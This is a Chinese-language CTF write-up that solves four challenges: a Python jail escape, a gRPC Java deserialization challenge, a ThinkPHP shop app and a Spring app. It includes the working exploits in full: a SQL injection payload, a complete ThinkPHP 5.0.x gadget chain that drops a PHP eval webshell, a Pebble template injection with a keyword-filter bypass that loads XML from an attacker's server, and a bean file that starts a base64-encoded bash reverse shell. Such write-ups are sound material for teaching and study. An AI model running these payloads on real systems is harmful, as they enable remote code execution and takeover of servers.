1. 前言
第一次参加这种全国性质的传统CTF赛事,排名非常惨淡,而且大大的低估了pwn的难度,第一天全身心投入到pwn中,结果连最简单的ez_fmt都没做出来。直接绷不住,直到第二天做出来几个web才勉强找回了点面子。
一直打公司内部CTF那种过家家的pwn,欺负同事们都不会pwn,一到真正的战场才知道自己有多菜。
不过也还好自己更擅长web,pwn不会就去做web,web不会就去做pwn。多换几个赛道还是有好处的。
做出来的题如下,这次主要讲
Pyjail ! It's myFILTER !!!
thinkshop
hello spring
happygame
2. Pyjail ! It's myFILTER !!!
虽然是个misc,但其实跟web的python SSTI没什么两样。
nc过去之后主要代码大概是这样。
input_code = ''
input_code = eval(f"f'{input_code}'")
然后可以跟SSTI一个玩法,比如这样。
当然,原题中有非常多的过滤,基本把SSTI封堵死了,而且没有print。队友玩这个很熟练,很快想到利用报错读文件。
当然,原题不管是当前目录还是根目录都没有flag,需要读环境变量。
{int(open("/proc/self/environ").read())}
3. happygame
原题nc过去之后会报错。
HTTP/2 client preface string missing or corrupt
看起来像http协议其实不是,经过队友努力寻找,发现是GRPC协议,需要用grpcurl去调用。
https://github.com/fullstorydev/grpcurl/releases/download/v1.8.0/grpcurl_1.8.0_linux_x86_64.tar.gz
主要有两个接口,调SayHello
grpcurl -d '{"name":"test"}' -plaintext 8.147.135.51:42664 helloworld.Greeter.SayHello
调ProcessMsg这个反序列化接口,理论上来说bytes写json需要{"serializeData":[49, 49]}这样写,但其实base64就行了。
grpcurl -d '{"serializeData": "ZmZha2xnamtsYW5na2E="}' -plaintext 8.147.135.51:42664 helloworld.Greeter.ProcessMsg
那么打java的URLDNS链进行探测。
利用CC6成功弹回shell。
4. thinkshop
这题有docker可以直接本地搭。
https://pan.baidu.com/s/1i2YGOZa6QAaVxXw9lFWW3w
密码:GAME
首页是这样的。
看起来错误的映射了public,还有目录遍历,似乎是写缓存文件,但实际上不是。可以看到controller主要就两个。
无需授权的Index有漏洞吗?
跟进getGoodsById()
跟进select()
可以发现是自己封装的SQL语句,而且是拼接的,虽然$value经过了hex无法逃逸没什么问题,但$key是裸的。不过在getGoodsById()中,$key固定为id,无法利用。
但updatedata和insertdata就不一样了。
可以看到他们循环拿$data里的数组进行拼接,这种写法$key很可能可控。
回到Admin.php,$data果然是取的整个POST。那么这就是个后台POST【data`%3D'test'%23=1】的SQL注入。
那么如何getshell呢?商品的详细信息是用反序列化的方式展示出来的。
而且还有着YTo前缀的校验。
Thinkphp5.0.x的反序列化链我们早就研究过,那么整个漏洞利用流程就出来了。
登录后台——利用updata注入插入恶意序列化数据——反序列化getshell。
先在docker中找到mysql用户密码。
登上去,查看仅有的两个表。
admin/123456,goods.data确实是序列化数据。
但登录的时候耍了点小聪明,需要用id也就是1/123456登录。
然后添加一个商品,再编辑它。
最好在docker中开启debug,以及手动var_dump SQL语句。
/var/www/html/application/config.php
'app_debug' => true,
/var/www/html/application/index/model/Update
$sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
var_dump($sql);
return mysqli_query($this->connect(), $sql);
可以看到SQL语句成功注入,尝试前后闭合。
id=3&name=test&price=100.00&on_sale_time=2023-12-19T11%3A11&image=test&data=1&data`%3D'qqq'where`id`%3D3%23=test
成功写入data,接下来就是插入反序列化语句,还要注意一个细节必须YTo开头,也就是得藏在一个数组里。
<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Merge];
}
}
namespace think\model;
use think\Model;
class Merge extends Model
{
protected $append = [];
protected $error;
public function __construct()
{
$this->append = [
'bb' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}
namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}
namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{
$this->query = (new \think\console\Output);
}
}
namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}
class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;
public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
];
$this->handler = (new File);
}
}
$a = ['a' => new \think\process\pipes\Windows(),];
echo base64_encode(serialize($a));
最终成功getshell。
5. hello spring
这题提供源码。
https://pan.baidu.com/s/1WBiauXtGSKafhRYkCIJZyA
密码:GAME
反编译后找到两个Controller。
通过配置文件很容易确认是pebble模板注入。
网上搜索到例题可以发现和题目几乎一样。
https://zhuanlan.zhihu.com/p/551576769
那么这题pebble版本是3.1.5能够利用吗?当然,因为这个版本正好是Y4tacker提漏洞的版本。
https://github.com/Y4tacker/Web-Security/issues/3
因此理论上只需要向uploadFile POST content=下面这个payload就可以了。
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://xxx.xxx.xxx/1.xml") }}
{{ yyy.refresh() }}
文件名用返回包中的Date转化一下就行,比如下面这个落地实际上是/tmp/file_20231219_034752.pebble
再访问/?x=file_20231219_034752加载模板即可。
但请注意,content实际上经过了一个myFilter.filter的校验。虽然反编译出来的class里无内容,但经过探测,实际上是对于这两个关键词的过滤。
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
第二个其实不怎么常用也被过滤了,绕过的方式也非常简单,字符串拼接一下就行。
{% set yyy = yy.instantiate(null,"org.springframework.context.support.Class"+"PathXmlApplicationContext") %}
在自己VPS上放个1.xml反弹shell即可。
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCxxxxxxxx}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>